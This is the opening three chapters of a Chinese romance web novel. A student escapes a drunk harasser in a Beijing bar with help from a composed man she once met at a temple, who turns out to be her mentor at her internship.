《凭爱意私有》
1. 第 1 章
京市,GUHIJ清吧。
嗓音干净,却又不单薄极具故事感的驻唱正在情绪饱满的低声哼唱着,慕名而来的客人们停下了交谈酒也不喝了听得沉醉,甚至有人已经拿出了手机开始录小视频发到群里。
沈晞却没心情享受,瞪着一双大眼睛在这灯光微暗的环境下巡视了一周,眼睛都快瞎了都没找到宁今雨。
正打算上二楼再去看看,才迈了两阶台阶,手机忽然震动了下。怕错过消息,手机一直拿在手里,她赶紧点开看。
过了两秒。
“……”
她的表情变得有些无语,连自己还站着楼梯上都顾不得,靠在栏杆上十指翻飞霹雳吧啦的打着字。
[???]
[我真的服了。]
[高,实在是高,你们怎么不直接去警察局说抢劫呢?这不是更刺激?]
她一顿激情输出,对方不知道是因为心虚不敢回还是正在玩没工夫回,于是就显得她孤零零的信息更加的傻逼。
其实,也不能全怪宁今雨。
临近毕业,大家以后难得再聚在一起,谁恰好有时间碰上了,不管之前关系怎么样,都要三三两两的组个局聊一聊,玩的也有些疯,像是要抓住这象牙塔里最后的狂欢。
越是出去实习过,便越知道成年人世界的可怕,越珍惜校园的纯粹。
包括不限于,借机表白的,试探平时不敢问得话的。之后慢慢升级,越来越没边,甚至听说前两天隔壁班还有两个人直接在马路上大喊“我是傻逼”的,差点没被人当神经病直接送到六院。
——六院,京市最好的精神病院。
没想到短短两天,就已经进阶到如此恐怖的地步。
沈晞最近也在实习,手上有点工作没做完,等弄完已经快八点钟,才看到宁今雨一个半小时前发的消息,上面的内容十分的触目惊心。
只有GUHIJ的定位,附加一句十分简洁却让人全身发凉的一句话——[如果两个小时后没我消息,就报警。]
说实话,其实她也只有在看到这条消息的第一瞬间,大脑“嗡”了下,但几乎是瞬间就觉得,这什么大冒险恶作剧。
毕竟GUHIJ在经济不怎么景气的这几年还能红火到远近闻名,每天都有不远万里慕名来打卡的,座无虚席。
就算有人想要闹事,也不会在这种地方。
但她还是给宁今雨打了个电话过去,却没人接。
这一时间让她有些拿不准了,好在她实习公司离这里不算远,走过来也就二十分钟,所以她还是亲自过来看看情况。
于是,果不其然的,宁今雨卡着时间的给她回了一条[在玩真心话大冒险,没事的。]
没事个鬼。
沈晞还是气不过,发了个[给你个眼神自己体会]的表情包过去,再配上她抱着小星星毛茸茸白色小狗的卡通头像,可谓是相当冷酷。
——乖女孩手册第一条,使用可可爱爱粉粉嫩嫩头像。
又好奇,想问她怎么会这么相信自己能沉得住气,不怕她打电话没打通就直接报警,然后被警察叔叔教育么。可才打出两个字,忽然像是被座山迎面撞了下。
她身体不受控制的后仰,下意识死死抓住旁边的栏杆才没摔下去。
“我草,他妈的谁啊,在这当门神,找死啊?”
男人的骂声伴随着铺天的酒臭味向沈晞袭来。
她被撞得有些头晕,还被熏的有些想吐,但确实是自己站在楼梯上发消息上头挡了路,她站稳,强忍着不适,抬眸道:“对不起啊,哥——”
尾音还未落下,在看到面前被左右护法架着有些谢顶、肚子微挺的气势汹汹想要冲上来的男人时,一边不着痕迹的后退了两小阶,一边默默将还未说完的两个字换成了“叔叔。”
她声音本就偏甜软,再加上是主动道歉的,所以听到耳中便有几分少女独有的怯生生的清甜软糯,贼他妈好听,能让人直接能软掉半边身子。
喝的迷迷糊糊的地中海和左右护法停住了有些不稳的脚步,下意识抬头,人便呆住了。
只见不远处楼梯上,穿着米白色大衣的少女站在柔和灯光下,鹅蛋脸,精致柔和的下颌线,小巧的五官,尤其是那一双又圆又亮干净的跟玻璃珠似的眼睛,大概是因为被骂,眼尾微垂着,看上去无辜又乖到不行。
几乎瞬间便让人有了反应,想看用刚刚那副嗓子被弄哭的样子。
只见三大金刚停了下来,直勾勾的看着她,仿佛下一秒就要流出口水来,又因为情绪转化的太快,脸上还是之前凶神恶煞的样子,看上去仿佛三个痴呆儿。
沈晞被这样的目光看的有些恶心,垂着眸,强忍着皱眉的欲望,默念着——乖女孩手册第二条,别在外面惹事。
她忍。
于是她抬起头,勉强的冲着对方露出个更加歉意的微笑。
这一笑,像是天光乍晴,那双玻璃珠子瞬间光彩照人,鲜活的让人移不开眼。
最后还是地中海在呆滞了十秒钟后率先反应过来,脸上勾起抹自以为十分潇洒却油腻到不行的微笑,“叫什么叔叔,叫哥哥,我今年才三十。”
“……”酸臭的酒气越发浓烈,沈晞强忍着想吐的冲动,没说话,但表情已经很难维持了。
但她长得实在是太乖,即使不笑,只是这样站着,就让人觉得是在示好。
地中海见人乖乖不动,觉得自己今天捡到了个宝,更加上前一步,用着含糊不清的话说:“你把哥哥都撞疼了,过来给哥哥揉揉,哥哥就原谅你。”
呕——
沈晞只觉得被一座油田扇了一巴掌,再也忍不了一点。
“哥哥哥哥,你母鸡么?”她抬头,原本一双又圆又亮的眼睛此时有些冷。
可灯光下并看不清,只能看到她仍旧乖乖的五官,地中海一愣,“小姑娘还挺有趣,咱们去楼上包厢,跟哥哥好好聊聊。”
沈晞下巴微扬,脸上带上几分讥讽的笑,“你家住敦煌么?”
地中海只看到她笑了,笑的自己整个人都要软了,不明白她为什么这么问,却仍旧回答,“不,我是京市本地人。”
语气间还带着几分骄傲。
“……”
“那逼话那么多。”沈晞差一点破功,还是继续接了下去,她已经做好了地中海暴跳如雷,自己直接往上跑的打算。
自己虽然速度不快,但现在这三个金刚走直线都费劲,她甚至开始想,如果他们一个不小心直接摔死在楼梯上,自己有没有责任。
然而下一秒,却见地中海十分差异的看着她,“你怎么知道的?我家确实是搞壁画收藏的。”
说话间,还绅士般整理了一下自己没有几个毛的头顶。从语气到表情,全都传递着——跟着爷,爷有钱,自信放光芒。
沈晞:“???”
这人怕真不是个傻子吧?
然而最抓马的,那位嗓音很好听的驻唱歌手不知道在搞什么行为艺术,开始全场递话筒,大概是想着也不能冷落暂时没在座位的客人,便也照顾了一下他们。
好巧不巧的,将两个人最后的几个对话全都收音了进去,驻唱或许是没想到能听到这么精彩的东西,一时间忘了闭麦救场;
地中海是喝迷糊了,也没觉得哪里不对。左右护法喝的也不少,听得也入迷,也就觉得声音比平时大一点,但他们现在头闷闷的觉得这个音量刚刚好;
沈晞则把全部注意力放在压着恶心上了,完全没注意到。
而这个递话筒的时机也好的不能再好了,上一波刚有一桌倾情演唱了首爱而不得的情歌,唱完之后全场一时间寂静,都不由陷入了当年的青葱岁月里没回过神来。
就在这最安静的几秒中,他们的对话响彻的全场,甚至还带着回音。
大家渐渐从低迷哀伤欲语还休的情绪中出来。
一秒。
两秒。
整栋GUHIJ吧无论上下层都发出了惊天爆笑声,甚至连隔音绝佳的二楼包厢都隐隐听到了笑声,探出头来问怎么了。
沈晞也没想到事情会发展成这样,觉得自己在不跑路就真的完了。驻唱小哥也意识到自己惹了祸,侧开身微微帮她打着掩护。
沈晞便趁挡在面前的三大金刚没注意,从一侧溜了出去。
地中海听到这滔天的笑声,起初还以为大家是对他有壁画的羡慕,但后面还出了掌声,逐渐觉得有点不对,茫然道:“他们不是羡慕我有壁画么?”
左护法稍微喝的少了点,有点回味过来,但也不太确定,“哥,好像是在骂你。”
“?!”
-
二楼。
可以俯瞰一楼,视野开阔,正对着驻唱台透过一侧的窗户还能不远处山上的松柏亭遥遥相望,颇有些斜椅高栏,微抛酒盏的风雅闲适。这个常年空置VVVIP的卡座今天终于坐了人。
被拥在中间,正对着松柏亭的男人穿着薄软的白色衬衣,单手执杯姿态放松的靠在椅背上,身形却不散,很有坐相。好似有他在,这休闲酒色的清吧也成了高雅脱俗的地方。
尤其是随着动作,白色衬衣微微上移,露出一截白而修长却不单薄的手腕,小叶紫檀串在他凸起的腕骨上微晃着,在白色素杯的映衬下,越发的带有某种冷淡疏离的佛性。
就好像在他周围大声说话,都算是
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一种冒犯。
气质实在是太过出尘,时不时的有人将目光投过来。也不知他是没察觉还是毫不在意,也只两旁人插科打诨中偶尔简单的交谈两句,其余时间自顾自地喝着杯中酒,眸色很淡也看不出里面的情绪。
直到他杯中酒快喝完,左侧的程开霁才想起问:“谁啊,还值得三哥亲自去看,人放我这还不放心。”
清越的嗓音中带着几分好奇,却没那种刨根究底,更多的像是玩笑,但又不带任何打趣。
傅律白这才淡声多说了两句,“我那老师说这人……很乖。”
其实原话说的是,“茜茜乖得很,别人说什么就是什么,都不会生气发脾气的。”
语气间充满了对一个即将进入成年人世界的乖宝宝的不放心,像是有欺骗小红帽的大灰狼,一个不留神就要将乖宝宝拆的骨头都不剩。
这个理由实在是没想到,程开霁还没想好怎么接话,右侧的禹开然见他杯中酒见了底,便亲自给他倒,却被傅律白一按,将那最后一口喝完,站起了身。
“这就走了啊三哥?”这下两个人齐抬头看向他。
傅律白微微颔首,淡声留下句“你们继续”,便被酒保送下了楼,从侧门走了出去。
他走后,这一左一右的两个人都及不可察的更加放松了些,无意间的对视却又不着任何痕迹。
没过几分钟,两人便也听到了楼下那段,彻底放松下来,也跟着一起笑。
禹开然本来就很没坐相的瘫在椅背上,现在直接笑趴下了,“哈哈哈这妹妹太绝了,早知道让三哥别走那么早,还能听段相声。”
程开霁倒是没他笑的那么夸张,这样居高临下的角度,看到了那三个人怒气腾腾摇摇晃晃的追了出去,提醒他,“别笑了,好歹是你的店,别出事。”
禹开然笑的眼泪都出来了,隔着水雾看到了个模糊的影,边笑边说:“我这哪个门都有保安,放心吧这么有意思的妹妹哪能让她出事啊。”
不过这事,保安还没赶过来,最后倒是让傅律白给代劳了。
傅律白从专门的一侧下来,在拐角即将走出侧门的一幅画前,脚步忽然一顿,停了下来。
酒保也不敢催问,只能拿着手中面料柔软十分有光泽的大衣,等在一旁。但不知道是不是错觉,这位连老板都要客气几分的尊贵客人,那双总是温温淡淡的眸子在这一刻有些发深。
但也只是几秒后,便又提步继续往前,好像真的只是他的错觉。
一辆黑色奔驰早已停在路边等,安安静静的像是要融进黑夜里。
傅律白接过酒保手中的大衣,同时谦和道:“多谢。”
温淡平和的声音,在这倒春寒的深夜格外沁人心脾。
酒保一愣,还未曾收到过如此真诚的感谢,大多数人都觉得花了钱享受这样的服务是天经地义的事,也确实如此,可他还是不由得为这善意而感到心暖。因此又悄悄的多看了眼面前的男人,只觉得人的眉眼好像也染上了夜色,更淡了。
软糯清甜,仔细听还带着几分清冷的声音便是在此时传入傅律白的耳的,他先是微怔,过了两秒后轻侧了侧头,眼底浮现浅浅的暖色,在看到有两位女士要走进来时,他率先下了台阶,让出了路,向停在不远处的车走了两步,却没坐上去。
看到群里小视频再也坐不住赶过来的两位女生自然也听到了,惊讶道:“这又是在搞什么新营销方式?改说相声了么?拜托头牌已经让我忙不过来了,这是要让我住在GUHIJ里啊!”
“快走啦,万一等会头牌撤了。”另一个女生催促着,却在侧头时余光瞥到某处时,眼睛一亮立刻用胳膊肘轻戳了戳同伴。
虽然只有一个侧身,却足够让露出惊艳笑意,但又都没敢上前去打扰。
酒保也不知道为何这位尊贵的客人还没走,但看没有再吩咐他的意思,便引着新来的两位女客人走了进去。
后来沈晞问他,为什么当时不走,是不是故意留下来英雄救美。
他说,总不能白听了人家的段子。
傅律白并不缺乏耐心,人也未让他多等,两分钟后他便听到由远及近轻重不一杂乱的脚步声。
他淡淡抬眸。
幽静的长廊里,暖色调灯光下,少女的面容影影绰绰,可随着她轻快的奔跑,身上米白色的羊绒衣都似乎失了重量,衣角轻飘,黑色瀑布般柔软的长发在空中留下俏皮的残影。
她身后,跌跌撞撞的跟着三个凶神恶煞的男人,像是追要猎物的大灰狼,而她就像一只不知死活蹦蹦跳跳快乐的小兔子,就这样撞进了傅律白的眼里。
这么快乐的小兔子还是继续快乐下去,不要被吃掉了。
2. 第 2 章
别看禹开然平时很不着调二世祖做派,但这家店装修的倒是很有品味。舍弃了一切骄奢淫逸纸醉金迷的小资风,专门请国际有名的设计师过来,颓废又带着收敛的文艺,偏偏用料又都很讲究,乍一看不觉得只觉得高级舒服很有调调,但细品又透着不经意的矜贵。
男人就垂手而立在店门外两米处,一身做工考究的黑色大衣,身形高大挺拔,不远处欧式复古落地窗上的吊灯发出柔和的光晕,微笼了他半个侧影。
按理说这样高大建筑下,人应当是相当不起眼的,尤其是GUHIJ这样特地花心思的。专门来打卡的网红,有心里活络的还会特地将背景虚化,只留下一个GUHIJ标牌,免得被落了气势。
但男人站在这里,却没有被压下半分的贵气,好似周围的一切都成了背景,吸引着众人的目光再也看不到别的。可却又偏偏像是融于这寂静的深夜之中,连晚风都不好意思在惊扰。
沈晞跑出来时,都特地偏航了几分,绕了个小圈免得打扰到人家。
三大金刚还在后面气势汹汹的追着,“你刚刚是不是在骂我?!”
沈晞脚步不停,像是十分惊讶,语气夸张道:“哇,这都被你听出来了,你真聪明。”
“……”
清甜软糯的声音,在这一刻格外的欠揍。
三大金刚在心底咆哮,眼睛都气红了,大有不把她抓住狠狠收拾一顿不罢休的架势。奈何腿像是灌了铅一样沉,脚步虚浮,只能看着前面欠操的人越跑越远。
大概是乐极生悲,沈晞忽然被有些不平的路面轻绊了下,脚步微顿。
三大金刚自然不会错过这个机会,搀扶着努力提速,脸上露出一抹残忍又邪恶的笑。却也不忘在快靠近男人时,下意识绕开,沿着沈晞的路线跑去。
但就在这时,那个隐于夜色似乎万事万物都入不了他眼的男人忽然不紧不慢往前迈了两步,挡在了他们面前。
三大金刚一愣,下意识抬头。
一个人的气质到最后往往是不需要任何外界力量来装饰的点缀的,他只是静静地站在这里,便有着千军万马的气势。
让三大金刚实打实的感受了一把什么叫做一夫当关万夫莫开,虽然他整个人仍是很淡,连说话都是温温淡淡的,似乎在同老友讲话般,“冒犯了人家女孩子,被人家骂一骂也是应该的。”
却如同昭昭天理,让人心悦诚服。
三大金刚甚至连酒都醒了一半,有那一瞬间竟然在心底生出了个诡异的念头——他们好像犯了什么罪无可恕的事。
“去给人家道个歉。”很随意的语气,如一把羽毛轻轻飘落下来,却让心重重一沉。
“嘭”的一下,像是得到了宽恕赦免的机会。
温淡清冷的声音从背后响起,沈晞一愣,下意识停下脚步,转过身来。
这声音实在是太过抓人,温淡的、清冷的这样的声音很多,可把它们糅合在一起,又多了几分温润的,实在是太独特,就像月光,干净、清冷又温柔皎洁。
于是她便看到一个宽阔平直的背,将黑色的大衣撑起,这样的衣服其实对肩背身高都极其考验,窄了撑不起,厚了太笨重,矮了就未免滑稽。
而他是真说完将和大衣有关的例如神秘、挺拔、庄严、气场这些词语诠释的很到位,并且还不刻意和紧绷。
月光挂在他的肩头,那背影如一座顶天立地又波澜不惊的高山,让人想要攀登。
而此时这样一个背挡在自己面前,就莫名有股安全感。
她不由多看了两眼,忽然觉得这背影有些眼熟,又一时间想不起在哪里看到过。按理说这样子的人见到,是不会没有特殊记忆的。
沈晞想的太入神,以至于没有听清后面男人说的话,所以当男人突然侧过身,她猝不及防的和三大金刚直线对上时,她几乎下意识抬腿就要跑。
可下一秒,却听到三大金刚还带着醉酒后的含糊吐字,却异常真诚异口同声的说:“对不起——!”
那声音大的跟喊口号似的,非常震撼,路过的行人都被吓了一跳,下意识看过来。
沈晞上半身都已经转过去了,被这一声搞得直接差点闪了腰,她以为自己听错了,错愕回头,发现三大金刚脸上同样茫然。
就像是被蛊惑了一样,虽然不知道为什么,但就这么做了。
她脑海里这才隐约响起男人后面的话,微微侧头看向男人,一双玻璃珠干净的眸带着感激的浅笑,“谢谢。”
软糯的少女音此次真心实意,清甜到不行。
三大金刚心中一整个卧槽,是真的差点软跪下。
“不必。”傅律白侧身站在月光下,余光不经意的一睇,却未收回,反而微顿,似乎在确认什么。过了几秒,总是温淡看不出情绪的眸子里难得闪过一丝惊讶,连嘴角都及不可察的勾起个浅淡的弧度,“日行一善。”
虽然浅的几乎可以说是没有,并且一瞬即逝。
他说的字正腔圆,可配上他温淡又冷润的嗓音,这样不紧不慢的说出来,总好像带着几分打趣的意味。
没想到在京市也能遇到他,世界真小。
第一次见,是半个月前,农历二月初八,释迦牟尼出家日。
佛祖都选定的日子,那自然是灵上加灵。还未到雨季,杭市从昨夜开始忽然淅淅沥沥下起了小雨,到今早都未停。这样子的天气都未能阻挡信众们的脚步,可见诚心。
广济寺向来香火鼎盛,更说前两日有位顶有诚意的捐了一大笔香油钱,更是引得朝拜的信众们生生将青山翠绿的盘旋路都站满。
坐车来的路上,司机都在聊这件事,那数字听得沈晞暗自咋舌,心善果真能赚大钱。
好在信徒们的诚意感天动地,下了车,这下了一夜的雨终于停了,不然她不知道怎么带着外婆上去。
卡在山路中间时,沈晞还在想,难道人家的心意也是能分一杯羹的?让佛祖觉得更加虔诚?
原来佛祖也是拿钱办事的。
沈晞不懂,她即非信徒,也好不虔诚,实在不理解个中逻辑。
但放眼上下全是密密麻麻如蝼蚁般的人,又觉得那必然是有道理的。
知道她并不信这些,又怕她百无禁忌的谤佛,到了主殿后外婆便叫她去自己逛,不必陪她,等结束后会给她打电话。
其实原本也不用沈晞来的,只不过一直照顾外婆的阿姨因为这两日天气变化生了病,现在还在躺在医院输液,沈晞这才自动请缨。外婆本来想自己来,别看她今年七十岁,身子骨倒是硬朗。
但到底是跨市,又上山的,虽然是临市没多久车程,可沈晞哪儿能放心,保证一定不乱讲话,这才同意她从绍市陪同过来。
来的路上沈晞还故意问:“咱们绍市也不是没寺庙,怎么非要来杭市,您是觉得家里的寺庙没广济寺香火旺,怕菩萨佛祖们区别对待?”
惹得外婆轻声呵斥,并扬言要是再胡说就不让她陪着了,要自己去。
沈晞笑着,做了个手指封唇的动作,表示自己不说话了。外婆最终也没说出个缘由来,好在沈晞也并没有打破砂锅问到底的执著。
沈晞站在金身大佛的正对面,并未走进大殿内。见他脸上含笑的看着饱受人间疾苦的众生对他三跪九叩,乞求他的怜悯,他也只是心安理得的笑纳。
真是慈悲。
沈晞看着虽然保养的很好,但也是古稀老人头发仍是花白的外婆,虔诚的跪在蒲团前,随着叩头的动作,身上薄薄的棉布杉勾出她有些轻颤的蝴蝶骨,变成小小的一团。
而她面前的大佛仍旧以睥睨众生的姿态,众生平等的心安理得的微笑着。
沈晞只是面无表情的和大佛对视着,觉得自己成长了。
等拜完,她这才走进大殿内,将外婆扶起,带着些俏皮的问:“您究竟有什么愿望,所求什么,跟我说说,或许我先一步替佛祖帮您完成,就不麻烦他了,让他去普度别的众生,他多忙啊。”
外婆只是用一种慈爱的目光温柔的看着她。
这话不是问过一次,可每次都问不出。问不出啊就只能随着外婆给站在大殿一侧的小沙弥捐香火,有专门的人将她们这些给了香火的香客引到偏殿。
众生平等,可那么多众生,所求那么多,当然是越虔诚的越先能被看到。
看外婆稳稳当当的坐在蒲团上后,沈晞这才放了心。
或许真的分得了那位顶有钱大善人的诚意,沾了他的光,这次竟由主持亲自讲经布道的点化。
转身走时,大师无喜无悲的声音传入耳中,“心不动则人不妄动,不动则不伤……”
随着走远,声音越来越淡,直至听不见。
沈晞沿着偏殿远离香客的方向,没什么目的的走着。走了五分钟,人群骤减。雨后山间空气十分的新鲜,倒真有几分沁人心脾的幽静。
她不由抬起头,仰面深深吸了口气。忽地脸上便是一凉,不知道是不是她刚刚惹佛祖生气,天空又下起了雨。
所幸不算大,但朦胧细雨在这个季节打在身上也不算舒服,好在众生对众生还算温柔,大概是因为今日天气不好,僧人在寺内各种摆放了些伞,以供有需要的使用。
离她不远处,便放着一个竹筐,沈晞小跑了几步过去,发现里面还放着最后一把伞。
就说佛祖才不会这样小气,沈晞笑着将伞撑起。
浅色的碎花伞撑在头顶,大概是来来往往的香客们日积月累布施留下的。
她已经彻底没了方向,只沿着手边七拐八拐,小径豁然开朗,大概是进了某个偏院,沈晞虽然不信佛但尊重人,怕打扰
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住在这里的师傅们,正要退出去,眸光猛地一顿。
发现这里竟然还有个人在。
隔着朦胧烟雨,白衬衣黑西裤的男人伫立在雨雾中,他的身材比例极好,宽肩窄腰,一双腿显得格外的长,却又不显单薄,衬衣的袖子被他随意折上去了两折,沈晞这才发现他腕上戴着一串佛珠,不由的多看了几眼。
男人面前,也有一座金身佛,只不过没主殿的那样巨大到睥睨,他也如沈晞之前那般站在佛像面前。
这个画面实在是太具有视觉冲击,如果是别人或许会有种非主流或颓废文青的无痛呻|吟感,可这个男人站在这里,好像理所应当如昭昭天理般,仿佛不站在雨雾中去感受雨水这生于天死于地的一生才是错的。
可偏偏他又不会有任何的指责,只会宽容的同你说没关系。
他的背影实在是太过温柔,就像一座隔着江南烟雨的远山,温和宁静缱绻又能包容万物,让人不由自主的想要靠近。
像是受到某种蛊惑般,沈晞撑着碎花伞,走出檐廊,走进雨雾中。不由自主的走到他的身侧,想去看看站在他的身旁、他的视角下,看到的佛祖是不是慈悲的。
很久后她再去回想反思这日,明白自己这是鬼迷心窍。
可此时的她并不觉得,只想走近。走近后才发现他质地偏软的白衬衣已经有些湿,贴在肩上,微露出紧实流畅的肌肉线条。她下意识将伞举高,微侧到男人头顶。
这才发现,他真的好高,她将胳膊完全伸直,才能堪堪将他遮住。
大概是这个动作惊扰到了男人,男人忽然侧过头来。
于是,她便措不及防的对上了一双无喜无悲浅淡的眸,他身后是朦胧雨雾和心安理得永远微笑的金身佛,可她却好似透过他淡淡琥珀色的瞳孔,看到了怜悯和慈悲。
一刹那,时间好像静止,周围的一切都好像变得模糊,连空气都似乎抽成了真空,万籁俱寂。
沈晞只听到自己的心脏“砰、砰”跳动的声音,那是无关情爱的,一种来着灵魂的震颤。
男人像是从某种沉浸的情绪间抽离出来,顷刻间便隐去了全部的情绪,眸色变得温淡如常。他才抽离出来,其实仍有些弄不清状况,却在看到横在自己眼前绷直的纤细胳膊,连瓷白手背上淡紫色血管都微微可见时,抬起手,十分绅士的撑起两人之间的伞。
他甚至连其他姿势都未变,就那样淡淡的看着她,像是在询问她是否有事。
就好像,她有什么事,都可以向他乞求一样,就真如神佛一样,看他心情,应允便能实现。
又很奇怪的,没有任何的高高在上感。
可索取终究带着几分弱势。
沈晞这才回过神来,冲他笑了下,语调轻扬道:“日行一善啦。”
我才是给予者。
说完,便转身,带着几分扳回一程的轻快跑进淅淅沥沥的小雨中,纯棉的白色风衣裙摆在雨中飘扬着,像森林中快乐的精灵。
不信神佛不信因果,却脸不红心不跳说着“行善积德”的沈晞,今日却被他的微微调侃弄得有些脸发热。
学她讲话。
干嘛不把她最后那个微微拖长的“啦”字也学完?
想着他那样的嗓音字正腔圆说出来,又先把自己逗笑了。
沈晞将脸埋进被子里,又抱着被子打了个滚。再抬起头来时,头发拱的有些乱哄哄的,可脸上还是带着消不退的兴奋。
是真没想到在京市还能遇到他。
他讲话时十分的字正腔圆,也听不出是哪里人。一般人讲话或多或少都会带些乡音的,不是说有口音,是一些个发音细节、轻微的语调用词习惯,都根深蒂固融入进骨血里,那是人们的根。
可他是没有一点乡音的,连南北方都听不出。
他也相当的绅士,虽然车就在一旁也并未说要送她。毕竟他们只有简短的两面之缘,这样的提议可能会让女性感到不安。
虽然他长着一张自己才像更不安全的脸。
问她等一下是否还有别的安排,需不需要帮她叫车。
沈晞盯着那张“不安全”的脸,拒绝了他的好意,才不到九点钟,步行五分钟便有地铁可以直达她的学校。
也是这时才发现早就没了三大金刚的身影,连他们什么时候走的都不知道。
只隐约记得,他开口时,bar里的驻唱再也不敢玩抽象,兢兢业业的又唱起了歌。
是一首粤语歌,发音很标准,带着维多利亚□□有的奢靡与浪漫,可头牌再好的嗓音也不如面前的人声音挠人耳。
仔细听,唱的是《富士山下》。
那时两人还不知,一切的因缘际会便在此时开始。
命运的齿轮开始滚动,会将两人缠的这样紧,就算搅碎也不想分开。
3. 第 3 章
等宁今雨回来,沈晞本想好好地“兴师问罪”一下。不过她看起来有些疲惫,问她跟谁出去玩,玩的这样疯。她说出了个名字,沈晞瞬间理解,是和上次在街头自曝自己是傻逼的两个哥们一班的,难怪这样没边。
她只得劝诫她以后别这样,很容易玩出事,被警察叔叔一起带走教育。
宁今雨答应着说好。又在知道她还亲自跑到GUHIJ后十分愧疚的说对不起。
沈晞说:“没关系反正我走过去也没多远,再说……”
却在这时脑海里不由自主的浮现出月光下的那张脸,清隽温淡,似空濛远山。
嘴角无意识微勾。
不能再说了。就像是怕别人发现什么秘密,或许是太不能为人知连同自己都不许察觉,有些生硬又急迫的转移话题,就像是一个故事刚开始便戛然而止,催促她累成这样赶紧去洗漱休息。
原本她玩的这样累,今天话题便应该终止,可沈晞却在刷视频时意外发现她的视频账号注销了。
此时宁今雨已经洗完澡回来,穿着一身黑色的睡衣,背对着她侧躺在对铺上,看上去十分单薄。或许真是玩的太过疲惫,连声音都有些哑,说:“快毕业了,之后也没什么精力再拍视频,而且时不时的就有人私信,挺烦的,就注销了。”
宁今雨会在账号下分享一些日常vlog,因为风格很舒服,成为了个小有人气的阿婆主。
沈晞表示理解,虽然还是有些觉得可惜,但却也没说什么,毕竟自己的难处只有自己知道,别人说什么都是轻飘飘的站着说话不腰疼。
今天话题彻底结束,关上了寝室的灯,没一会儿便传来对铺均匀的呼吸声。
沈晞有些睡不着,便继续刷了会儿视频。却诧异的发现自己关注的玄学区阿婆主竟然十分罕见的更新了一条“有两面之缘的人,还会再遇见么”的投稿。
大概是深夜头脑发昏,她也一反常态鬼神使差的点了进去。
“人和人的相遇是为了完成一场因果,一次就完成的,说明你们缘分浅,也就是所谓的‘一面之缘’。但是如果还能偶遇第二次,那说明有更大的因果等着你们,所以,是一定会遇到第三次的……”
阿婆主的声音很理性,也就是这种理性的女音,会莫名多了一种信服度。虽然沈晞是向来不信这些的,她关注也不过是为了看个乐子,了解一下不同的思维模式。
后面又说了很多拗口又更专业的术语,沈晞没太听清。
但却在睡前无意识想着,如果他们还会再见面,又会是在怎样的情境下。同时又在半睡半醒间,后知后觉想起还不知道他的名字。
沈晞没想到,第三次见面会来的这样快。
被主管叫走时她都还在想,是否是自己刚刚悄悄打瞌睡被发现了。她发誓,绝非有意,实在是昨夜没睡好。
直到她被带到总裁办门外,额心猛然一跳,她还罪不至此不用这么兴师动众吧!
几乎未给她任何心理准备时间,总裁办的大门便从里面打开。
京市三月底,上午十点来钟,正是日头高悬带着蓬勃生命力,消除冰雪寒冬连乍暖还寒的余温都要扫去的时候,耀眼的阳光透过落地窗不留余地的照进这间办公室里。照着空气中的小颗粒,像是给这华丽到富丽堂皇的办公室加上了复古滤镜,宛如绝美宫殿。
来俯瞰这座纸醉金迷物欲横流的城市,颇有种覆手高台指点江山的疏狂野心。连会客沙发都用的是纯皮中世纪北欧复古款。
虽然前五十强企业也确实配的上这样手可摘星辰的豪情,可还是有些过,而显得厚重沉闷甚至有些暮气。
可男人穿着质地偏软的白色衬衣,未系领带。坐姿随意但人却不散,轻靠在对着门的单人沙发里,手拿瓷白咖啡杯慢饮,小紫叶檀佛珠微垂在腕上,眸色温淡。
其实白色在模种程度上会削弱些人的气势的,更不要说他这种十分松弛的打扮。却神奇般的压下了周遭几乎叫嚣着的浮躁奢华,好像他本就属于这里,像是个矜贵温润最受国王宠爱的王子,气质高远不染半点浮华,可身份使然,这些他人穷极一生所求的权贵还是对他俯首称臣。
在这样的环境下,他便也有着股矜贵疏离拒人于千里的漠然感,让人不敢僭越放肆,气势逼人,虽这并非他的本意。
沈晞看着不远处的男人微愣,一时间想的竟是玄学未免也太准了吧。
然后才开始诧异他为什么会在这里。
似乎是察觉到来人,男人眼睑微抬,在和她对视的那一刻眼中划过一丝惊讶。而后将咖啡杯放到一旁的茶几上,起身,主动走了过来。在她面前一个有礼貌的社交距离下停住,眉梢轻抬,“沈小姐?”
像是在同她确认。
“嗯?”
随着男人的靠近,那股疏离感并没有降低,反而隐隐转化成了某种无形的压迫感,让她微微有些不自在。
沈晞更加疑惑,甚至开始不可思议的想,他该不会是想上演某些个霸道总裁爱上我戏码,虽然他看上去一点都不像会为男女欢情大动干戈兴师动众的人。
不然实在很难解释他为什么会出现在这里,找上她。
他主动做着自我介绍,“我是傅律白,沈先生是我老师,以后有事可以来找我。”
还是那副温淡清越抓人的好嗓音,这样的熟悉感稍微降低了些从见到他起,就莫名产生的距离感。
原来他叫傅律白,名字还挺——
下一秒。
沈晞猛然抬起头,像是不敢相信自己的耳朵,眼睛瞬间瞪大,“什么?你说你叫什么?!”
大四要开实习证明,她本想年后回京市自己找。但兴许是过年走动忙得,再加上那两天气温有点变化无常,外婆有点感冒,她就在家多陪了几天。
就这样,吓坏了她的后母韦子琳,生怕她是要留在家里的小破公司不走。
却还不忘扮维持温柔后母形象,吃饭时看着她轻叹气,“唉,茜茜理科不行,不然当时报个计算机机械工程的,现在还能在家里实习。”
还不吓死你。
沈晞夹了一筷子菜,笑了笑,“现在也行啊,前台我也合适的。”
她实在是太乖了,长得乖声音乖做事乖,一时间让人分不清她只是为长辈接触忧虑,还是真的别有所图。
韦子琳脸色一僵硬,又真像个为她着想的长辈,急道,“那哪行啊,你正儿八经好学校文学出来的,这多委屈你。”
沈晞依旧声音软软,“为家里出一份力,不委屈的。”
谁不会装啊,大家母慈子孝都装了这么多年,但韦子琳快要装不下去了,就那样僵着脸,认真凝视着她的眼睛,像是要看出些什么。
沈晞就一脸单纯又无辜的由着她看,还夹了口菜说,生动又带感染力的笑着说,琳姨做的茄子最好吃了。
韦子琳这才堪堪维持回体面,笑得有些勉强的说:“好吃就多吃点。”
过两天小叔沈兴学便给她打电话来,说自己有个学生在这,可以多帮扶指点她,让她跟着人家好好学,很有本事,叫傅律白。
虽然她不知道小叔一个教历史的,他学生能指点她什么。尽管她学的是汉语言大家都是文科,但主要研究方向似乎很不同。
但小叔为人很谦虚内敛,说话办事也都不会搞太满,会留有余地。能被他如此直白的评价一句“很有本事”,其实沈晞十分好奇,究竟是个什么样的人。
不过她进锐昇集团一周,都没见到过这人,当时去学校接她办理入职的,应该是他的助理,并转达说:“傅先生说十分抱歉,忽然有急事要去处理,不能亲自过来。”
同时又给她留了联系方式,说这段时间有事情都可以找他。
沈晞拿着联系方式想,明明是她在麻烦人家,哪里用得着抱歉。还叫人来她学校接,又觉得这人做事实在是稳妥谦逊。
